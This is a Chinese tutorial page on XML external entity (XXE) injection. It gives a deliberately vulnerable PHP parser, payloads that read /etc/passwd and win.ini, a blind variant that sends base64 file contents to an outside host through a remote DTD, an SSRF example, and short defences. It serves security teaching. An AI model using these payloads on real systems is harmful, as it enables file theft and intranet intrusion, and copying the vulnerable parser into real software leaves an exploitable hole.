2.XML实体注入漏洞攻与防
XML实体注入基础
当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。
简单了解XML以后,我们知道要在XML中使用特殊字符,需要使用实体字符,也可以将一些可能多次会用到的短语(比如公司名称)设置为实体,然后就可以在内容中使用。
如下就声明了一个名为 name 值为 bmjoker
的实体。
<!DOCTYPE UserData [ <!ENTITY name "bmjoker" > ]>
要在XML中使用实体,使用&name;
即可。
为了演示漏洞,我们写一个简单的PHP脚本,如下:
<?php
$xml = file_get_contents("php://input");
$data = simplexml_load_string($xml); foreach ($data as $key => $value){
echo "您的" . translate($key) . "是" . $value . "<br>";
} function translate($str){
switch ($str){
case "name":
return "名字";
case "wechat":
return "微信";
case "public_wechat":
return "微信公众号";
case "website":
return "网站";
}
}
假设这里我们希望用户输入的是:
<?xml version="1.0" encoding="utf-8" ?>
<user>
<name>bmjoker</name>
<wechat>joker</wechat>
<public_wechat>bmjoker</public_wechat>
<website>http://www.cnblogs.com/bmjoker/</website>
</user>
然后就可以返回如下页面:
XML实体注入漏洞的几种姿势
方法1:
<!DOCTYPE a [ <!ENTITY b SYSTEM "file:///etc/passwd"> ]>
方法2:
<!DOCTYPE a [ <!ENTITY % d SYSTEM "http://www.xxxx.com/attack.dtd"> %d; ]>
其中attack.dtd
的内容为:
<!ENTITY b SYSTEM "file:///etc/passwd">
方法3:
<!DOCTYPE a SYSTEM "http://www.xxxxxx.com/attack.dtd">
其中attack.dtd
内容同上不变。
利用xml实体注入我们可以读取本地任意文件。
读取任意文件的思路大概就是引入一个实体,实体内容为本地文件。
使用我们如上说的任意一种方法即可实现,我这里使用第一个(因为最方便)。
构造payload如下:
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE a [ <!ENTITY b SYSTEM "file:///c:/windows/win.ini"> ]>
<user>
<name>bmjoker</name>
<wechat>joker</wechat>
<public_wechat>bmjoker</public_wechat>
<website>&b;</website>
</user>
提交后查看返回信息:
可以看到成功读取了c盘下的win.ini文件。
如果我们实战中所在的场景下XML并没有回显,我们也可以使用另外一种方法读取文件。
<!DOCTYPE a [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % dtd SYSTEM "
http://www.hackersb.cn/attack.dtd
"> %dtd; %mydata; ]>
其中attack.dtd
的内容为:
<!ENTITY % all
"<!ENTITY % mydata SYSTEM "http://www.hackersb.cn/?%file">"
>
发送payload以后就可以在http://www.hackersb.cn/
的访问日志中看到请求且带上了/etc/passwd
文件base64加密以后的内容:
我们既然可以使用file
协议读取本地文件,当然也可以使用http
协议访问来造成SSRF攻击,甚至可以使用gopher
协议。
具体能使用的协议主要取决于PHP,PHP默认支持file、http、ftp、php、compress、data、glob、phar、gopher协议。
如果PHP支持except
模块,我们还可以利用except
模块来执行系统命令。
简单的SSRF攻击实例如下:
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE a [ <!ENTITY b SYSTEM "http://127.0.0.1:1234/"> ]>
<user>
<name>bmjoker</name>
<wechat>joker</wechat>
<public_wechat>bmjoker</public_wechat>
<website>&b;</website>
</user>
然后就可以监听到访问了。
SSRF攻击可以成功的话,我们自然可以进而攻击企业内网的系统。
其他更多的危害各位可以参考OWASP出的文档:
https://www.owasp.org/images/5/5d/XML_Exteral_Entity_Attack.pdf
防御XML实体注入漏洞
- 禁用XML使用外部实体
- 尽量不要让用户直接提交XML代码,如果一定要,请做好过滤。
2.XML实体注入漏洞攻与防的更多相关文章
- XML实体注入漏洞
XML实体注入漏洞 测试代码1: 新建xmlget.php,复制下面代码 <?php $xml=$_GET['xml']; $data = simplexml_load_string($xml) ...
- 3. XML实体注入漏洞的利用与学习
XML实体注入漏洞的利用与学习 前言 XXE Injection即XML External Entity Injection,也就是XML外部实体注入攻击.漏洞是在对非安全的外部实体数据进行处理时引发 ...
- 企业安全01-Apache solr XML实体注入漏洞CVE-2017-12629
Apache solr XML 实体注入漏洞CVE-2017-12629 一.简介 Apache Solr 是一个开源的搜索服务器.Solr 使用 Java 语言开发,主要基于 HTTP 和 Apac ...
- Fortify漏洞之XML External Entity Injection(XML实体注入)
继续对Fortify的漏洞进行总结,本篇主要针对 XML External Entity Injection(XML实体注入) 的漏洞进行总结,如下: 1.1.产生原因: XML External ...
- Pikachu-XXE(xml外部实体注入漏洞)
XXE -"xml external entity injection"既"xml外部实体注入漏洞".概括一下就是"攻击者通过向服务器注入指定的xml ...
- Xml外部实体注入漏洞
Xml外部实体注入漏洞(XXE) Xml介绍 XML 不是 HTML 的替代. XML 和 HTML 为不同的目的而设计: XML 被设计为传输和存储数据,其焦点是数据的内容. HTML 被设计用来显 ...
- 小试XML实体注入攻击
基础知识 XML(Extensible Markup Language)被设计用来传输和存储数据.关于它的语法,本文不准备写太多,只简单介绍一下. XML基本知识 1 2 3 4 5 <?xml ...
- XXE--XML外部实体注入漏洞
XXE漏洞原理 XXE漏洞全称XML External Entity Injection 即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部 ...
- XXE外部实体注入漏洞
XML被设计为传输和存储数据,XML文档结构包括XML声明.DTD文档类型定义(可选).文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具.XXE漏洞全称XML E ...
随机推荐
- 第二十三篇、IO多路复用 二
基于IO多路复用实现socket的连接 下面流程:1.先创建列表,让自己的socket对象传入,然后遍历select第一个参数2.客户端连接,那么客户端socket就传入到了列表里面,3.遍历,接收客 ...
- Ubuntu14 下安装jdk1.8
1.oracle官网下载jdk-8u45-linux-i586.gz 此为32位 2.放在任意目录下,如/home/hongxf 3.直接解压该文件 sudo tar -xvf jdk-8u45-li ...
- tp导出excel
//数据导出 protected function dao($db,$where,$join,$field){ $data = M($db)->join($join)->where($wh ...
- Netty入门例子
新建maven项目,添加依赖 <!-- https://mvnrepository.com/artifact/io.netty/netty-all --> <dependency&g ...
- java 获取访问主机的ip地址
Java的api的说法: getHeader public java.lang.String getHeader(java.lang.String name) Return the first val ...
- Linux下重命名文件或文件夹(mv命令与rename命令)
在Linux下重命名文件或目录,可以使用mv命令或rename命令 mv ———————————— mv命令既可以重命名,又可以移动文件或文件夹. 例子:将目录A重命名为B mv A B 例子:将/a ...
- 一致性问题和Raft一致性算法——一致性问题是无法彻底解决的,可以说一个分布式系统可靠性达到99.99…%,但不能说它达到了100%
一致性问题 一致性算法是用来解决一致性问题的,那么什么是一致性问题呢? 在分布式系统中,一致性问题(consensus problem)是指对于一组服务器,给定一组操作,我们需要一个协议使得最后它们的 ...
- MySQL--Basic(二)
USE db_name; CREATE DATABASE school; Use school; CREATE TABLE `StuInfo` ( `STU_ID` ) NOT NULL , `STU ...
- jsp 自定义标签中的Function函数
在taglib中我们发现有一个标签叫做<function>,这次简单介绍<function>标签的基本用法,<function>标签可以做什么呢? 它可以让我们在j ...
- JDBC获得数据库连接及使用
1.Connection Java.sql.Driver 接口是所有 JDBC 驱动程序需要实现的接口.这个接口是提供给数据库厂商使用的,不同数据库厂商提供不同的实现 在程序中不需要直接去访问实现了 ...